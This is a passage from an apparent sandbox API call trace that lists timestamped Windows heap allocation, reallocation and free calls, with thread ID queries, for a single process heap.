lpMem=0x2c85130 | out: hHeap=0x2ad0000) returned 1 [0076.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7f8 [0076.225] GetCurrentThreadId () returned 0x9b0 [0076.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.225] GetCurrentThreadId () returned 0x9b0 [0076.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85250 [0076.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.225] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85160, Size=0x10) returned 0x2c84ff8 [0076.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85298 [0076.226] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85220, Size=0x10) returned 0x2c85268 [0076.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.226] GetCurrentThreadId () returned 0x9b0 [0076.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85250 | out: hHeap=0x2ad0000) returned 1 [0076.226] GetCurrentThreadId () returned 0x9b0 [0076.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.226] GetCurrentThreadId () returned 0x9b0 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.227] GetCurrentThreadId () returned 0x9b0 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.227] GetCurrentThreadId () returned 0x9b0 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85028 [0076.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.227] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ff8, Size=0x10) returned 0x2c85070 [0076.227] GetCurrentThreadId () returned 0x9b0 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ff8 [0076.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85220 [0076.228] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85268, Size=0x10) returned 0x2c852b0 [0076.228] GetCurrentThreadId () returned 0x9b0 [0076.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.228] GetCurrentThreadId () returned 0x9b0 [0076.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c850b8 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85298 | out: hHeap=0x2ad0000) returned 1 [0076.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85028 | out: hHeap=0x2ad0000) returned 1 [0076.228] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85070, Size=0x10) returned 0x2c85058 [0076.228] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c852b0, Size=0x10) returned 0x2c850a0 [0076.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c850b8 | out: hHeap=0x2ad0000) returned 1 [0076.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85058, Size=0x10) returned 0x2c85088 [0076.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c850a0, Size=0x10) returned 0x2c85238 [0076.229] GetCurrentThreadId () returned 0x9b0 [0076.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85088, Size=0x10) returned 0x2c85250 [0076.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85238, Size=0x10) returned 0x2c85268 [0076.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.229] GetCurrentThreadId () returned 0x9b0 [0076.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.230] GetCurrentThreadId () returned 0x9b0 [0076.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85070 [0076.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.230] GetCurrentThreadId () returned 0x9b0 [0076.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c852e0 [0076.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.230] GetCurrentThreadId () returned 0x9b0 [0076.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85070 | out: hHeap=0x2ad0000) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de758 [0076.231] GetCurrentThreadId () returned 0x9b0 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85298 [0076.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.231] GetCurrentThreadId () returned 0x9b0 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85190 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.231] GetCurrentThreadId () returned 0x9b0 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85298 | out: hHeap=0x2ad0000) returned 1 [0076.232] GetCurrentThreadId () returned 0x9b0 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.232] GetCurrentThreadId () returned 0x9b0 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.232] GetCurrentThreadId () returned 0x9b0 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6b8 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85040 [0076.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.233] GetCurrentThreadId () returned 0x9b0 [0076.233] GetCurrentThreadId () returned 0x9b0 [0076.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85280 [0076.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85058 [0076.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.233] GetCurrentThreadId () returned 0x9b0 [0076.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85118 [0076.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85190 | out: hHeap=0x2ad0000) returned 1 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85040 | out: hHeap=0x2ad0000) returned 1 [0076.234] GetCurrentThreadId () returned 0x9b0 [0076.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85118 | out: hHeap=0x2ad0000) returned 1 [0076.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85298 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.234] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85250, Size=0x10) returned 0x2c85070 [0076.234] GetCurrentThreadId () returned 0x9b0 [0076.234] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85268, Size=0x10) returned 0x2c852b0 [0076.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.234] GetCurrentThreadId () returned 0x9b0 [0076.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85058 | out: hHeap=0x2ad0000) returned 1 [0076.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85298 | out: hHeap=0x2ad0000) returned 1 [0076.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.235] GetCurrentThreadId () returned 0x9b0 [0076.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85178 [0076.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.235] GetCurrentThreadId () returned 0x9b0 [0076.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85100 [0076.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.236] GetCurrentThreadId () returned 0x9b0 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85178 | out: hHeap=0x2ad0000) returned 1 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.236] GetCurrentThreadId () returned 0x9b0 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85010 [0076.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.236] GetCurrentThreadId () returned 0x9b0 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85268 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.237] GetCurrentThreadId () returned 0x9b0 [0076.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85010 | out: hHeap=0x2ad0000) returned 1 [0076.237] GetCurrentThreadId () returned 0x9b0 [0076.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.237] GetCurrentThreadId () returned 0x9b0 [0076.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.238] GetCurrentThreadId () returned 0x9b0 [0076.238] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c852b0, Size=0x20) returned 0x30284e0 [0076.238] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85070, Size=0x20) returned 0x3028328 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.238] GetCurrentThreadId () returned 0x9b0 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.239] GetCurrentThreadId () returned 0x9b0 [0076.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.239] GetCurrentThreadId () returned 0x9b0 [0076.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.239] GetCurrentThreadId () returned 0x9b0 [0076.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85178 [0076.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.239] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x18) returned 0x3183ae0 [0076.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6a8 [0076.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.240] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x18) returned 0x31838a0 [0076.240] GetCurrentThreadId () returned 0x9b0 [0076.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.240] GetCurrentThreadId () returned 0x9b0 [0076.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 